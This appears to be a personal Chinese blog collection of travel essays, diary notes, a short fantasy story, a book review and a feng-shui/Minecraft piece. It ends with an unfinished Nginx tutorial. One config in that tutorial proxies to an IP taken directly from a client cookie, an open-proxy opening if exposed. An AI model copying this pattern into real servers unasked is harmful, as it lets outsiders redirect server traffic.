我只记得，期待了一季的荔枝，在6月将要变红的那几天，被人一扫而空。
因为你要快人一步，才能占得先机，迟了一天，荔枝就到别人口袋了。
得到了，就可以，青涩的果实？无所谓。

外面的世界好精彩…

这个小小的生灵，用这双眼眸，观望着它不能理解的世界。
这是不幸，也是幸；它躲在阴影里，也站在了太阳下。
那就继续期待吧阿杜。
在来年。

“我要回武汉！”
这句话说了一千遍，终于兑现成一张动车票。

三年前，毕业的第二天，行李被盗，大学时所有的物件付之东流。
背着空空的行囊回家，越想越委屈，导演剧本不对啊，人家西游记八十一难，好歹是个HAPPY ENDING…
感觉自己有一种迷之体质，总可以把平静的生活过得波澜壮阔。
左脸黑线，右脸微笑，这种技能不是谁都可以，我在考虑要不申个遗。

总之，国庆后大家都返工，过上岁月静好的生活时，我一个人扛起了到武汉搞事情的大旗。

办证

首先我要办一些证件。
而流程的起源，是我需要到院教务处，盖一个章。
所以我就来到大雷音寺，如来佛问：什么事？
我：我的经书丢了。
佛：谁可以证明你是取经人？
我：李世民
佛：那你给李世民打个电话
我：…

盖这个章的关键，就是要给当年的辅导员打一个电话，而他也要记得起我。
拨通电话的那一刻，心里忐忑不安。
据说李世民早已不当皇帝，他去了云南，说不定正在苍山洱海旁葛优躺，过着往事如烟的生活。
而我可能连如烟也算不上，只是一颗小小的灰烬。
他会记得我吗？

电话通了，蒋导的嗓音貌似刚睡醒…我心里早已准备好几千字的自我介绍。
幸运的是，我刚说出名字，他就记起了我，还说了几件印象深刻的往事。
这说明我命里还是有挺多贵人，如果没有你们，我连那半张脸的微笑都会没有。

还算顺利，拿着盖章的证明到了户政科。
这个时候，办理业务的人寥寥无几，火爆的武汉也随境遇变得柔和起来。
工作的大姐温柔地说，你下午来，现在办不了哦
我问为什么，大姐说，我们网络坏了
我很激动，我我我，我会修，我是专业的
大姐说：滚

有意思。
不被信任的技术水平，一直是我校学子得以奋进的动力…
这个优良传统三年没变过，给你点个赞，我选择死亡。

迎新晚会

几天里骑着ofo小黄车在校园瞎逛
这个季节对于武汉，简直是种恩赐。
风很柔和，阳光可以把影子拽得好长
荷塘充盈，桂花也开了
梧桐叶的绿还在绵延，准备等待一夜秋雨瞬间染红的辉煌。

晚上刚好遇到迎新晚会，决定去看看。
端着单反走进会场，心里还想着怎么说清楚我不是新生，但希望有个座位这回事。
迎面一个学生会领袖身份的人，过来就对我说：你终于来了，坐第一排吧，这位置好拍照…
完了还给我几颗糖吃，太贴心了！
这位学弟，你也是我的贵人…但希望你工作仔细点啊

那就只能冒充是记者部的学弟了！
晚会开始前，我就想，毕竟我比他们大7岁
会不会有代沟？
会不会有鬼畜视频？
会不会一上来就跳《极乐净土》？

事实上，晚会非常的小清新，更多的是才艺展示。
想到很多以前的事情，也想到偌大的校园，几乎没有我认识的人了。
但有这群可爱的学弟学妹，华科人也会像梧桐叶一样，周而复始的成长吧。
总之是个奇妙而完美的夜晚。

嗯，糖也挺甜的…

又一段路

办完事情，校园也逛得差不多，我知道该离去了。
但还有时间，我计划去另外一个，离武汉不远的地方玩玩。
神农架、三峡、庐山、南昌，四选一。
不想出游被太多因素干扰，抛了两个硬币决定。
南昌。

去南昌，我就可以凑齐三大名楼。
但之前的黄鹤楼和岳阳楼都不算很满意，我这次把心理预期降到最低。
这样一来，觉得滕王阁还不错。
有时候想，岳阳楼记里的“不以物喜不以己悲”境界太高，不是每个人都能达到的。
如果这碗鸡汤你喝不下，就像王勃一样真性情好了。
孤鹜不见，落霞常在，该笑就笑，该哭就哭，有什么大不了？

晚上联系一个老朋友，告诉他我来你家乡啦
他觉得我太潇洒，又跑去玩儿了。

那时我正在秋水广场看这一江的秋水
恍惚间，又想起毕业时行李不见的情景
我冲出动车站，旁边人来人往，我一人站在那感觉身体动不了，南风呼呼地吹
只剩下一副耳机，放着五月天的《孙悟空》，里面唱道：

“如果要让我活
请给我快乐苦痛
我从不怕爱错
就怕没爱过…”

有时候
你们觉得我浪的风生水起时，
我只不过又是独自一人，走过了一段快乐又苦痛的艰难路程呀。

—— END. Litten on 10.20 （一些照片在这里）

《Way Home》是押尾的一首指弹，算不上热门，听的人也少。
我不喜欢一首吉他曲太过工整，羽翼丰满的老鹰，就没有了小鸟的自在。
不过，教科书般的工整，就有一种禁锢的美感。
音符好似尺子上的刻度，不差分毫。
如果时间也是一把尺子，那回家这件事也应该是清晰有力的刻度吧。

九月的最后一天，听着它，回了家。

推开门，好像一个转场回到从前，书包一丢，喊一句：我回来了，好累啊
然后倒在沙发上等吃的，电视上正放着《数码宝贝》。
这才应该是那个“无限大な梦”啊！

再选了一个圩日，回岭景
我喜欢拍那些村民跨过小木桥去赶圩的场景。
很容易就能定格他们的笑脸
因为事情很简单，收获了中意的衣服，或者零食、玩具，就是完美的一天。

无论泗罗河变得清或浊
无论竹林变得密或疏
无论是小木桥，还是后来修建的水泥桥
他们都可以不关心。

很多事情，只要你不关心，
你就没有了软肋，拥有了无敌的buff，
就能很容易把笑容挂在脸上

真理。

市面上的web相册都不好用，干脆自己做了个相册，github开源，取名为Zing，待填坑…

6月初，要上腾讯大讲堂分享。
PPT准备得差不多，缺了个演讲的节奏。
我希望的风格是逻辑分明，又不会太过枯燥的，但均衡好这两者并不简单。

又发觉，“逻辑分明”加“不太枯燥”，
掌握不好节奏，就是“一本正经“加”胡说八道”的意思呀！
这让我有点慌，搞不好过不久别人就指着我说：看，前端界的泥石流…

于是那几天，一直听“一席”来找灵感。
毕赣《路边野餐》的那一段意外的好，也从中深深地记住了一个陌生的地名：凯里。

我喜欢那种，经行语言（而不是光影）就能渲染出来的，边陲小镇特有的青翠与市侩。

中秋之后的那个早上，醒来得莫名的早。
想起凯里，顺手查了动车票，意外的只剩一张，出发时间是两小时后。那还来得及，走起吧。

于是从深圳到广州，再到贵阳，再到凯里，再到西江千户苗寨，我就到了这个以前压根不知道的地方。
百转千回的路程，好像电影胶片被剪辑掉，然后镜头一转，苗家的姑娘就捧着酒站到跟前。

西江和九月，是两个很烂俗的词。
世界上有很多个地方叫西江，也有很多首歌叫九月。
然而九月的西江，是一段深刻的旅行。
发生的许多事情，看到的许多景，足以忘烦忧。对我来说这就够了。

人们总是要用“说走就走”来标榜旅行，
貌似有了它，才多了一份洒脱。
但于我说，这样经常是迫不得已，
如果能够，我喜欢一个词，叫“蓄谋已久”。

我可以精心准备，旅行如约而至。
仿佛是一位尊贵的客人，
出现在那个预期的，天朗气清的时分。
这说明，你的生活总掌握在自己的手里。

用不着洒脱，才是最大的洒脱。

回想自己第一次上台，也是在这个大会。
不过，当时说的啥肯定很傻。
但记得我做了个不错的开场。
果然吹牛更能达成诗和远方、光芒万丈的效果。

另外一个期待，就是能见着许多老朋友
他们风尘仆仆，从各地赶来。
八千里路云和月，千里江陵一日还，仿佛一种迷之仪式感，出场的时候都应该会有bgm响起

然而周六那天，突然就发烧了
应该是前两夜熬夜做设计带来的连锁反应。
那晚做了个梦：皓月当空，天光似水
而我的想法居然是，这个月亮好碍眼，怎么用图章工具把这月亮给干掉…

Photoshop有毒，真的。

恍惚中想起那个，每年惊蛰，朋友从东方带来一壶酒的故事…
然而早已白露而不是惊蛰，世间上也没有那壶叫醉生梦死的酒。

每晚小板凳备好，乐呵去守着CCTV5
里约这个时差刚刚好，反正我忙得不行，只有晚上这点属于自己的时间。

这两周主要看乒乓赛事
最好看还是男团张继科打郑荣植那场
郑的反手很强，张却持续使用反手拧拉
攻彼之长，陷入苦战

杨影相当着急，也说张应该选择打正手
扬长避短，吃瓜群众都看得出来，何尝张不知道呢？
只是，如果这么做，他就可能是马琳或刘国梁，而不是那个鲜衣怒马的张继科了。

可能这才是我喜欢的奥运吧。

人有时候，
就应该热血而执拗
就应该忽略掉喋喋不休的劝诫
就应该蠢到无与伦比，不懂变通
只为在最终的最终，说上一句：
“还是我赢了”。

神秘海域

从5月买的游戏，现在才有时间玩上。
近乎满分的作品，感谢顽皮狗一直以来的热诚。
同时，“神海”已经取缔了“古墓”在我心目中的地位…

寻宝之路，哪来这么多的浪漫色彩？
你以为人生已经圆满，
你以为生活早已波澜不惊，
你以为年少的轻狂已只能想想而已

但风云变幻就在一瞬，
谎言、梦想、亲情、背叛，如子弹般交织成网，
射穿了千丝万缕的爱恨情仇，也留下一个千疮百孔的自己。

无论正牌反派，他们都是有血有肉的灵魂。

德雷克拿起玩具水枪的那一幕，
让我觉得顽皮狗和育碧之间，至少差了10个B社。

奥运开始啦

打电话跟奶奶聊天，问她还记得孔令辉吗？
她像个小孩子一样，开心地聊了起来
“怎么不记得？那时他落后好几分，然后…”

奶奶现在有时连亲人的名字都不记得，
却对这些以前的“孩子”记忆如新。
这些孩子，都长大了。当教练了。都挺好。

青春不过几届奥运呀…
不过他们都长成了“月半”这件事，还是不要告诉奶奶了。

失眠

最近摘抄一些笔记，偶然遇到一句诗，感觉很奇妙，眼前一亮的感觉。

危栏倚遍都无寐，只恐星河堕入楼。 ——《秋夕楼居》吴融

这周依然失眠，
反正改变不了的事情，该怎么样就怎么样呗，
只不过同是失眠，别人的境界就是比我的高
我在想的都是些什么玩意？

NPM

越发感觉，NPM的设计是有问题的…
从2.0到3.0，并没有像官方说得那么靠谱。
找了一些成熟的包管理工具研究，都有一定差别。
只是我们大多情况下，都选择忽略罢了

然而还没有想透
兴许后面写篇文章剖析一下。
我已经很久没写技术文章了呀
面壁2分钟，惭愧5小时。

七月底，去了趟冰雪世界。
之前很是期待，因为大半年没滑过雪，上次的情景还历历在目。
然而，只有滑冰…挺无趣的，说实话。
但期待是个好事
所以我也挺期待台风的（什么鬼逻辑？）

八月初，妮妲过境。

台风果真会影响人的思考与心绪。
以前那次是“黑云压城城欲摧”，如临大敌，跑还来不及
但这次甚至连雨点儿都没有
我一开始有点怀疑

又突然想到，产品同学在给我布置大需求时
也是这般“暴风雨前的宁静”
那我还是跑吧…

这周失眠严重
我想做很多事情，但一起步就感觉身体被枷锁连着
在夜晚，这些锁链碰得叮当作响
像是银白的蛛网，不断交织重叠。
我把佛经背了又背

台风来的那天晚上
吹得窗户好响
反而睡得很好
可能，妮妲吹走了一些魔障吧

每一个台风天，都像是我的老朋友。

要不要去厦门玩玩？
这个问题，在出发前一晚还是个问题。
早上一起来，感觉无数个灵魂在逼催着我：去！
这感觉过于强烈，似乎不去那儿，世界就要毁灭了…

为了拯救世界，买了到厦门的动车票，再从三丘田码头坐轮渡，傍晚来到了鼓浪屿。
住的客栈接近龙头路，吃的玩的都有，一个人也逍遥自在。
赖皮鸭，虾扯蛋，芒果冰，林氏鱼丸，烧仙草，当然还有各种海鲜，变着花样来品尝。
睡觉时还惦记着没能排队买到的肠粉。

第二天主要是游览古迹。观海园、怡园、皓月园、菽庄藏海，路程虽远，但也有趣。
路遇算命猜姓的先生，20块钱，猜你姓名。
我在一旁看看究竟。
原来有很张写满姓氏的卡片，要猜的人，需要挑选出包含自己姓氏的那张。
如此重复几次，算命先生能准确猜出你的姓氏。

无非是数学游戏，一横一竖，玄机在交叉点呗。
不过断人财路可不好，笑笑离开。

当然，作为一个路痴，旅行中不出点意外好像就是最大的意外。
不出所料，我迷路了。
等我赶到日光岩时，月光已经洒满了海面。
门票已经买了，我还是想上去，即使这地儿人影都没有。

日光寺在山腰，弘一法师曾在这住过。
登山时，寺里梵唱迭起，木鱼敲击，声声入耳，仿佛从四面八方涌来。
感觉自己的身体暴露在广大的宗教尊严面前
渺小而恐惧。
手机的电筒不能安慰心理，索性关掉了。

我不会梵语，但会背心经。也在心中默念“照见五蕴皆空，度一切苦厄…”
不知不觉，突然发现已来到了山顶。
就这样，一座岛的全貌突然尽收眼底。
这是见过的，最美的鼓浪屿。
风呼呼的吹，仿佛月光不是直直的，有了一些弧度与质感。
心情便好多了。什么升职加薪迎娶白富美，都去TMD。

随后，我听到身后有脚步声，有人也跑到了山顶
定睛一看，居然还是个女孩。
我们见到对方都相视一笑，随后约好一起下山。
她说她叫天天，天天快乐的天天。

跟她去看了音乐会，又走到龙头路找吃的。
但她什么也不愿意吃，一问，她说，想吃酸辣土豆丝。
只有笑着承认，真是意料之外的答案。
我出来玩，就是为了吃平时吃不到的东西；
她则是觉得家乡的菜最熟悉，在哪都愿意吃的。

好吧，陪你吃，
因为离开武汉这么久，我也挺想念这道菜。

是什么呢？是什么呢？是什么呢？

然后看了会《巨人的陨落》。
的确是本好书，多线叙事本来就是我的菜。难得的，又没有开启上帝视角的感觉。
文笔很稳，有点像平静的湖水在慢慢上涨
你起初感受不到，回过神来，早已波澜壮阔。
这么说来有点像《天龙八部》，但多了点历史的更迭在其中。

喜欢一句话叫“时代洪流下一个群体的苦苦挣扎”
很多时候，大家都说顺者生，逆者亡
但大多数人，在时代面前根本没有方向
他们，只是在挣扎

王二与陈清扬如此。
白灵与鹿兆鹏也如此。

只想着做一件事，抓精灵。
坐车时抓。吃饭时抓。睡觉时抓。半躺着还能精确地抛出精灵球，我都佩服自己。
需求会，拿出手机一看，野生的皮皮蹦来跳去。抓吗？
好像有点不合适…开着会，太猖狂了，不好。

但是，这只皮皮跳得比我还猖狂哎？
抓。

调整相机位置，转动精灵球，弧线完美，一击命中。
然而，并没有引起大家的注意，毕竟
我更像是在拍白板的笔记…还蛮认真的…

不过，这次的需求，真的是很无聊。

说起pokemon，这真的是我有认知以来，最先喜欢的动漫。
我记得孤独小火龙在雨中漫步
我记得不想长大的妙蛙种子咧嘴傻笑
我记得巴大蝴离去的那天，我还哭过
一部能让小孩看哭的幼稚动漫，不会差的，对吧？

只是我们最终还是孤独了，长大了，还是被一次次的离别碾压而过。

最近招聘令我很头痛。
每天各个网站刷简历，收获却甚少。
周六甚至组织了招聘专场，喊号的模式确实高效，但还不够。

简历难找，却经常让人哭笑不得。
比如前端专业技能一项，
有写“拥有机动车驾驶证”的
有写“我有加入中国共产党”的
还有写“多次与外教交流”的

该做一个什么样子的表情呢？
特别是最后一位，还不如改成“多次与产品经理交流”，因为他们比外教更难交流呢！

有的面试者，在回答第一个问题时，我就知道过不了。
但还是跟他一个一个问题的过。
因为，我讨厌让人一无所获的感觉。
他对我已经没价值了，但希望我能点用处，
给予一些指引，明白哪些不足
小小的功德吧

陌生的朋友，祝你下次好运。
阿弥陀佛

周四忙到了快12点，还坐错了车，
再从深圳湾打的回宝安，整个人都不好了
看来作为前端，“拥有机动车驾驶证”还是有必要的。

—— 写于 2015.12.02 ， 一篇旧游记

冷！

到吉林下了飞机，虽做足了准备，还是冷
现在，南国的深圳依然是穿短袖的季节，朋友说，仿佛一夜入冬。
但这才是真正的冬天呀！

小时候作文写四季，唯秋冬难写。
如果南方的季节是一把尺子，那它的刻度仅仅是温度的高低
到了北方，这把尺子，才变得有质感
它丈量着你每一寸的身体发肤

随行的朋友对下雪满怀期待
但听说大雪会封山，可能看不到天池时
又陷入愁云惨淡中
应了那句话叫“一颗心掉进了冰窖里”

但未来的事管它呢？
那是上帝决定的事情。
上帝在工作我在玩，还有什么不开心？（可惜这逻辑没人懂）

鱼

行走在结冰的松花江上，神清气爽。
我喜欢看冻在冰里的小气泡
有一种定格相片的美感

途遇放生的人们，他们表情凝重，一脸严肃
随后旌旗翻飞，佛经传扬，鱼虾入水，
江面恢复平静后，他们也终于露出了笑脸

随后在江旁的饭店用餐
服务员介绍道：这道蒸鱼，就来自松花江里！
真是让人啼笑皆非的事情
鱼，让两类不同的人都得到了欢喜
可能鱼就是佛吧？

地广人稀

下午三点半的时分，天色已逐渐漆黑，市民们陆续回家
我想，鹅厂要是在东北，那就是睡个午觉就下班的节奏！
不过听说平时要六点多起床上班
我又打消了这念头

但东北确实地广人稀
晚上很多店铺都早早关门
手套和帽子找了很久才买到
但泡温泉的泳裤就难办了
况且，在零下十几度的世界里卖泳裤的人，
脑子都有问题吧…

度假区

后续几天都住万达度假区里
漂亮且休闲的小镇，我很喜欢这里。

也在这学会了滑雪，秦教练尽心尽责
得知我是鹅厂工程师后，
还加我微信，让我以后有问题多问他（然而我不用微信）
他似乎对互联网很感兴趣，
我怕他一冲动走上了程序员的不归路
跟他说：好好工作，少上网！

后来偶遇王思聪开了夜场，可以玩到很晚
然后在雪夜里迷了路…
那晚，我是怎么回到酒店的？
这已经是一个未解之谜。

天池

也终于到了上长白山的时候！
早上还下着雪，导游安慰说：
已经封山了一个月，邓小平去了几次都没见着天池云云
似乎上帝已经做出了决定

但旅行之所以迷人，就在于各种不确定性
吃完午饭大概一点半，一个消息在园区内爆炸开来—— 封山结束！
每个人欣喜若狂，
司机大哥相当豪爽，用袖子把车上的积雪一推，只留下一个字：
走。

车子旋绕而行，山路确实很险
白茫茫的一片，要是不熟悉真的分不清哪里是路
窗外风声越来越大，仿佛有无数的野禽在嘶鸣
也终于来到了山顶

此刻才觉得，所有的防寒措施都不管用
风雪抓住每个机会向你的身体里钻
刀片般的飞雪把脸刮得通红
手机的锂电池也放弃了抵抗
陷入了“冬眠”

那还能怎样？跳吧！让热量释放出来！
蹦着走过那段最艰难的路
安详的天池就突然出现在脚下

太阳仿佛只离她几公分
柔和的光潜入水中，幻化为风
谦卑地贴着湖面缓缓地吹…
光与水顺着千年的血脉流进心间，
天池，就变成了一枚绝世风华的眼眸。
你未能看清，她的眼神里藏了多少秘密，
她却早已把你的灵魂一眼望穿。
这让我突然忘记了寒冷

半小时后，风雪加急
工作人员催着下山，封山又要开始了
这让我更觉得神奇
好像天池，就等我见她一面。

不多

我要的不多。
真的不多。
你的一面，一眼，一念，一瞬
我就能幸福。
事情就能圆满。

“我为你来看我不顾一切，
我将熄灭永不能再回来
我在这里啊
我在这里啊
惊鸿一般短暂
像夏花一样绚烂……”

有时我想起爷爷，一位老中医。房间里摆了十本书，三本中医著作，七本风水宝典。我都有认真数过。
问他，病人会不会觉得你的药方子是靠“算”出来的？
他说，那十本书，都是一个意思！
当时还是个孩子的我，只能做出我还只是个孩子的表情。
不过，这致使看着《走近科学》长大的我，并不对风水排斥。

后来，有次我想按着“梅花易数”去用程序实现。
逻辑部分毫无问题，但起卦部分太过随意了，又不是程序能控制的。
也许是我道行尚浅，至今尚未摸清起卦与取卦的时机。但也深深怀疑书本上的描述，以及实际操作的可能。

比方说…

古人今日赏竹，摘一竹枝，以竹叶数起卦；
今日起风，观其风向，辩其声势起卦；
内有佳人，琴声铮铮，笑语嫣然，以声音也可起卦。
总之非常的雅致…

那我一个宅男，是不是得靠动漫集数，游戏关卡数，方便面调料包数去起卦呢？
总之非常的扯。

因而我并不信风水。只是明月当空，大江东去，古人看到这些，他们的思绪是怎样的？
一步步去揣测他们的揣测，自觉得是件有趣的事情。

近几天看了些古书，发现古人对地形的思考还是挺有意思的。
纪晓岚修《四库全书》，将《协纪辨方书》选入子部。
日月表太繁杂，像一本字典；
制煞部分太玄乎，感觉靠脑补就可以写小说；
其余部分压根儿看不懂；
倒是开山立向，关乎地形研究。虽远不及书中摸金校尉寻龙点穴这么荡气回肠，但古人对于环境的理解却有独到之处。
对于一些地形，既然学了就记录一下吧。于是想到了Minecraft。

山环水抱 - 吉

“凡宅，山环水抱，必有贵气”
不明觉厉型。有书说，“水绕便是龙身泊”，然而实际的用处是什么呢？不懂。
不过有条河绕着，在Minecraft里倒是比较好防御僵尸小白苦力怕什么的…

河右为吉 - 吉

“河右为吉，河左为凶”
就高中地理尚存的记忆，河流右岸会比左岸高，居高临下，道法天成。
其实想想，哈尔滨，佳木斯居松花江右；兰州，西安，洛阳居黄河右；重庆、上海居长江右。
一说也蛮有道理。
倒是“江左梅郎”，原来这名字一开始就是要逆天的节奏。嗯，懂了…

朝垂飞水 - 凶

“凡宅门前不要朝垂飞水，返背者是也，主出淫乱之妇”
书上说，宅求“背山依水”，但不能迎着瀑布。
也许是它过于卖弄风情，有一种动荡的势头。瀑布心里苦，但瀑布不说。

血盘照镜 - 凶

“凡宅门前不许开新塘，主绝无子，谓之血盘照镜”
这个很好理解，宅门大多是儿童游戏之处，要是发生意外事故，只能池塘来背锅。
“血盘照镜”，你能不佩服古人这瘆的慌的文字技巧？

白虎开口 - 凶

传说中最凶的地形煞。
翻译一下古书描述，应该是说白虎居右，阴气重，会造成宾欺主的形势。
就地形的直观感受，看起来相当压抑。
感觉晚上会有一万个苦力怕掉下来，任何一个脑子正常的飞翔使都不可能在那安家。

东下西高 - 吉

“凡宅东下西高，富贵英豪”
宅基的西边要比东边高，无外乎是增加庭院的采光量，好理解。

青龙白虎 - 吉

“凡宅左有流水谓之青龙，右有长道谓之白虎”
书上说这种地形为最贵，想想也是，饮用、洗涤、出行这几大问题都解决了。
要是房地产定能卖个好价钱。

话说如果标题是《我的世界小屋建造指南》，点开来是这个文章会不会被人打呢？

—— litten 16.02.13

Picture by Peter Nagy

题记：失眠与回忆齐飞，脑洞共长天一色，既然睡不着，就写故事吧。
【故事三】【故事二】【故事一】

扎龙人

年初一的这天早上，一条尾巴，从自家被窝里窜了出来…

他本以为是梦，然而事实就是如此：他自己，变成了一条龙，正窝旋床上。坚硬的鳞片摩擦着柔软的羽绒，舒服的质感让人沉醉，也让龙沉醉。不过现在并不是享受的时候。

他开始回忆。
他是小镇的手艺人，每年春节，他扎的龙都深受大家喜爱。竹篾扎成的龙，无人自舞，无风自动，它们穿街走巷，上天入地。龙能像小狗一样，恶作剧的叼过姑娘的裙摆；也会虎视眈眈的望着一碗扣肉直流口水。外人惊以为施以了魔法，老人们笑道，这是祖上单传的机关秘术。

匠心源于天赋与耐心，扎龙人独居竹林，钻研技艺。
他曾听小镇铁匠说过，技术即艺术，炉火纯青时，铁匠们将人剑合一！当时，他觉得这说法特别的中二。
不过离群索居的他并不知道中二的意思，只能理解为一种中国特色的二。

然而，年初一，他，变成了一条龙。是不是梦？反正他已经捏过龙下巴了，疼。

扎龙人想起了父亲，他在三十多年前的春节，在一场大火中不辞而去。
释然的光芒从眼中闪过，他仿佛解开了一个谜团：是不是那时候，父亲也变成了一条龙，为了不惊吓到村民，只能选择离开？
父亲曾说，竹性乃水性，上善如水，变幻万千，竹子有了灵魂，就看不出是竹子。他的小手曾触碰过父亲扎的龙，扑通扑通，那是龙的心跳。扎龙人认为，这是大成。

不过，对于眼前该如何起床这件事，他自己倒有了一个精明的计策：用竹篾扎成自己，自己则扮演竹龙！

计划天衣无缝。门窗一开，鞭炮齐响，飞龙跟往常一样从窗户穿出，人们拍手称快，称赞着这神乎其神的手艺。竹制的扎龙人则在窗前保持着微笑，偶尔挥挥手，接受大家的祝福。真正的扎龙人翔于长空，他第一次俯瞰着这个他深爱，却又孤独的城镇。

他玩了一整天，每到之处，节日的气氛沸腾到极点。
他觉得不怎么孤独，节日不再是一个人的狂欢。
他真的去咬了两大块扣肉，逗得孩子们哈哈大笑。
他心思一转，决定去叼姑娘的裙摆。要选镇里最年轻最漂亮的姑娘，世界上没有人会去指责一条竹龙是臭流氓。

他看准了她，弓身，俯冲，大风将眼睛吹得雪亮。
一地狂风带起了裙摆，丝绸拂面轻柔似云，时间，在刹那定格 … 他却轻轻地松开了口。一丝阴云遮住了天光，他的眼中藏匿了一片晦暗深海。
他看到了姑娘，那双修长的竹制双腿！
假腿像两根竹刺，从它眼中刺入，仿佛挑走了灵魂。

风云瞬息万变，爱与谎言，往往只差一线。
也许是突然明白了这场家族童话，飞龙怒火中烧，火焰吞吐而出，一如多年前的那场莫名大火。村民们四处奔逃，衣服渐渐脱落，露出了竹制的躯干。
啪啪作响的身体，映得节日的城镇更加辉煌，飞龙却从此没了踪影。

—— litten 16.02.09 初二

Picture by Anna Paschenko for Doubble

“无人为孤岛，一书一世界”。
小岛书店的褪色招牌上，写着这么一句话。
显然，从一开始，这就是一句假话。

孤独难以描述，偏偏人们喜欢写。
马尔克斯的荒诞深邃，东野圭吾把绝望写进了骨髓里，阿多尼斯却说那是他的一座花园。而在《岛上书店》里，孤独是温暖的。这就很少见。

看完书时正巧在飞机上，底下应该是海，云层漫漫令人遐想。书中艾莉丝岛的模样依然模糊，倒是人物分明。那间“十五个玛雅宽，二十个玛雅长”的书店越发清晰。它经行光影，穿越时间，仿佛就在眼前。流水般的笔调，不做作的幽默，我猜玛雅会喜欢它的。
总的来说，叙事方式不是我喜欢的那种，但就如刚才所说，它比较特殊。令我总是想起一些，以前的事情…

可是，孤独难以去写，偏偏人们总遇到。

那时，A.J.与志趣相投的妻子妮可，放弃了文学博士学位，跑来孤远的艾莉丝岛，开一间书店。仅仅因为“一个地方如果没有一家书店，就算不上一个地方了”。

然而，生活让A.J.太过失望。
挚爱的妮可去世，志趣相投的图书销售员哈维也长辞，镇店之宝《帖木儿》被盗。一件件烦心事让A.J.越发孤僻冷漠，不近人情，排斥一切。内心，渐如书店所在的孤岛。

“没有人喜欢孤独，只是不喜欢失望。”村上春树说。

命运像小偷，失望的A.J.却没想过，这个小偷竟会送给他什么。
玛雅，一个弃婴，出现在小岛书店中。

犹豫不决中，还是选择收养玛雅的A.J.，不得不与身边的人进行交流。

多年以后，A.J.想说“爱”却说不出来的时候，他才明白，“一书一世界”，靠书去排解孤独的说法，分明是句假话。
使他不再孤独的，永远是身边的人。

又由结局后的艾米想到了三毛，特别在今天。
二十五年前的今天，三毛与她的自由，永远的私奔而去。

得知三毛生平后，再看《撒哈拉的故事》其实是另一番天地，你看到她的车子在沙漠狂奔时，总想帮她踩一脚刹车，因为昨日的欢歌和明日的悲伤总成正比。看《万水千山走遍》时依然心惊，你希望她能流露些悲伤的情绪，合适就好，然而她身影匆匆，仿佛面无表情，走马而过。
然后你只能听之任之，对这波澜壮阔的生命鞠一个躬。

后来你寻到一个解释叫“万物皆空”。原来在时间的不同刻度，孤独都不相雷同，无论描述它的文字，是温暖的，还是刻薄的。它就在那儿，一动不动，仿佛又不在那儿。

就像，A.J.只能把love，说成glove；
就像，玛雅只能在《海滩一日》里回忆着亲生母亲；
就像，艾米到最后都深藏着《迟暮花开》的真相；
就像，兰比亚斯与伊斯梅最后守护着的那家小岛书店。

你说这是一本温暖的小说，但它的冷酷又摆在你触手可及的地方。
像一张薄薄的被子，你拥之入眠，而后又半夜冷醒。所谓冷暖自知，大抵如此。
那，既然不可能雨季不再来，能做的，只有毫无畏惧，热烈而宁静地走遍万水千山吧。

“一书一世界，一岁一枯荣；无人为孤岛，春风吹又生”。
又或许，那句假话，从一开始，就是真的呢。

——Litten 2016.1.4

Nginx，一名网红（网络服务器红人…），就算没有自传和回忆录，争着介绍它的花边新闻也该有吧。

后来找到仅有的一两本书籍，也直接深入到“源码剖析”的阶段。写得并不十分满意，况且我还不需要这些。
后来发现了原因，大概是因为“使用太简单了，都不值得出书”。
是的，Nginx把纷繁复杂的功能，浓缩成一份简单的配置，极易上手。
当它呈现到你面前时，感觉独具匠心。

Nginx与NodeJs

（这里的标题有点歧义。此处的NodeJs，皆引申为NodeJs所搭建的服务器。）

有人说，作为一名前端，我的真爱是NodeJs。
同时也认同，抛去性能之类的比较，单纯从实现的角度，NodeJs编写的服务器也能实现Nginx的各种功能。

这些我都赞成，但使用Nginx并不意味着抛弃NodeJs。事实上，它们并不冲突，还可以在一起愉快的玩耍。

在业内，这样的模型已很常见：资源转发，反向代理，静态资源处理，负载均衡，这些事情扔给Nginx来处理，只是几行配置的事情；同时在上游，让NodeJs去处理它最擅长的I/O等事情。

合理分配各自擅长的事情，这样的思路，同样可以运用于前端开发中。

以前用NodeJs几百行实现的服务器功能，在npm与github的海洋里花尽心思去寻找的模块，也许在Nginx里是一条成熟的配置。它能帮其分担很多事情，节约了成本。

场景一：环境切换

前端开发中，经常面临多个部署环境切换的问题。
我们通常用配hosts的方式去实现。更优化些，我们将机器的服务绑定了不同的域名：比如正式环境是a.qq.com，测试环境是test.a.qq.com。

然而在拓展性和易用性方面，还不足够好。
而Nginx作为反向代理，就很容易处理资源转发的问题。

思路很简单：

1. 读取请求里的cookie，如果键名host_id有值，则代理到这个IP地址；
2. 如果没有，则代理到默认的正式环境（此处举例为1.1.1.1）;

1
2
3
4
5
6
7
8
9

set $env_id "1.1.1.1";
if ( $http_cookie ~* "host_id=(\S+)(;.*|$)") {
    set $env_id $1;
}

location / {
    proxy_set_header Host $host;
    proxy_pass   http://$env_id:80;
}

那接下来的事情，就是怎样用最简便的方式，把IP种在cookie里？
我们应用了nginx-http-footer-filter模块，html文件经过代理时，都注入了一小段js代码。

这段代码，会帮我们展示小菜单，点击某个环境时，则将IP种到cookie里，同时刷新页面，让Nginx完成环境切换。

切换环境，如今只需点击一次。

场景二：SourceMap

在线上环境调试Js代码是件麻烦的事情，因为目前合格的前端部署，代码都应经过压缩。性能问题是优化了，debug可不怎么方便。

而SourceMap正好可以解决此问题。

在最新的各版本浏览器里，如果满足：

1. 压缩后的js文件后面有//# sourceMappingURL=xxx.map格式的注释
2. 浏览器能正常访问到sourceMappingURL

那么，就能把压缩过的代码还原。
要实现这样的功能，就必须：

1. 现网环境不带以上形式的注释，同时访问不到sourceMap（安全性考虑）
2. 测试环境带注释，能访问sourceMap

这样的模型，用反向代理+内容纂改的思路再合适不过。
每次构建编译时，我们会把sourceMap文件存放到一台机器（举例为1.1.1.1），命名为js文件名后加.map后缀。随后，使用Nginx，通过这几行配置就能把此功能实现：

1
2
3
4

location ~ \.js$ {
    footer "\n//# sourceMappingURL=$request_uri.map";
    footer_types "*";
}

只要经过代理，在chrome里，我们能看到每份被压缩过的js文件，都有一个对应的源码文件。
你可以直接使用它来做打断点之类的操作，大大的提升了调试质量。

场景三：内容纂改

其实在以上两个场景里，都涉及了“内容纂改”。
无论是说“纂改”还是“劫持”，大家的印象都不是什么好事情，但另一方面，他们又可以让事情有趣起来。

统一介绍下，Nginx涉及纂改的模块有：

• nginx_http_footer_filter：往文件的底部添加文字，可包含Nginx的内置变量；
• nginx_http_addition_module：从一个url去读取内容，将之添加到文件的头部或顶部；
• nginx_http_sub_module：替换字符

